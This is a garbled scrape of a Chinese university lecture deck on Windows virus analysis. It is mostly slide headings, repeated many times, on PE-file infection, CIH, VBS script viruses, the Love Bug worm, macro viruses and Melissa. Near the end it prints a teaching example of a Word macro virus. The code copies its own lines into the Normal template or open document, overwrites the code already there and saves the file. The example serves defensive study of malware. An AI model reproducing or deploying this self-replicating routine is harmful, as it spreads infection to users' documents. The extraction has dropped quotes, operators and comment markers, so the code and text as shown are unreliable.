第5章 Windows病毒分析 计算机病毒与反病毒技术 知识 .pptVIP

合肥工业大学计算机与信息学院 张仁斌;主要内容;5.1.1 获取API函数地址;5.1.1 获取API函数地址;5.1.1 获取API函数地址;5.1.2 搜索感染目标文件;5.1.3 内存映射文件;5.1.3 内存映射文件;5.1.4 病毒感染PE文件的基本方法;5.1.4 病毒感染PE文件的基本方法;5.1.4 病毒感染PE文件的基本方法;5.1.4 病毒感染PE文件的基本方法;5.1.5 病毒返回到HOST程序的方法;5.1.6 PE概念病毒感染分析;5.1.6 PE概念病毒感染分析;5.1.7 示例病毒感染测试与手工修复;5.1.7 示例病毒感染测试与手工修复;5.1.7 示例病毒感染测试与手工修复;5.1.7 示例病毒感染测试与手工修复;5.1.7 示例病毒感染测试与手工修复;5.1.7 示例病毒感染测试与手工修复;5.1.7 示例病毒感染测试与手工修复;5.1.8 CIH病毒分析;5.1.8 CIH病毒分析;5.1.8 CIH病毒分析;5.1.8 CIH病毒分析;5.1.8 CIH病毒分析;5.1.8 CIH病毒分析;5.1.8 CIH病毒分析;5.2.1 WSH简介;5.2.1 WSH简介;5.2.1 WSH简介;5.2.1 WSH简介;5.2.1 WSH简介;5.2.2 VBS脚本病毒的特点;5.2.3 VBS脚本病毒原理分析;5.2.3 VBS脚本病毒原理分析;5.2.3 VBS脚本病毒原理分析;5.2.3 VBS脚本病毒原理分析;5.2.3 VBS脚本病毒原理分析;5.2.3 VBS脚本病毒原理分析;5.2.3 VBS脚本病毒原理分析;5.2.3 VBS脚本病毒原理分析;5.2.3 VBS脚本病毒原理分析;5.2.3 VBS脚本病毒原理分析;5.2.3 VBS脚本病毒原理分析;5.2.3 VBS脚本病毒原理分析;5.2.3 VBS脚本病毒原理分析;5.2.3 VBS脚本病毒原理分析;5.2.3 VBS脚本病毒原理分析;5.2.4 网页背后的秘密;5.2.4 网页背后的秘密;5.2.4 网页背后的秘密;5.2.5 VBS脚本病毒的防范;5.2.5 VBS脚本病毒的防范;5.2.6 爱虫病毒分析;5.2.6 爱虫病毒分析;5.2.6 爱虫病毒分析;5.2.6 爱虫病毒分析;5.3.1 宏病毒简介;5.3.2 宏病毒的基本原理;5.3.2 宏病毒的基本原理;5.3.2 宏病毒的基本原理;5.3.2 宏病毒的基本原理;5.3.2 宏病毒的基本原理;5.3.2 宏病毒的基本原理;5.3.2 宏病毒的基本原理;5.3.2 宏病毒的基本原理;5.3.2 宏病毒的基本原理; MyCode=ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 20) Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule If ThisDocument = NormalTemplate Then _ Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule With Host If .Lines(1, 1) APMP Then 判断感染标志 .DeleteLines 1, .CountOfLines 删除目标文件所有代码 .InsertLines 1, MyCode 向目标文档写入病毒代码 If ThisDocument = NormalTemplate Then _ ActiveDocument.SaveAs ActiveDocument.FullName End If End With MsgBox 打开文档时已实施感染, vbExclamation, Office 97/2000宏 End Sub;5.3.3 宏病毒的防治;5.3.3 宏病毒的防治;5.3.4 梅丽莎病毒分析;思考题;思考题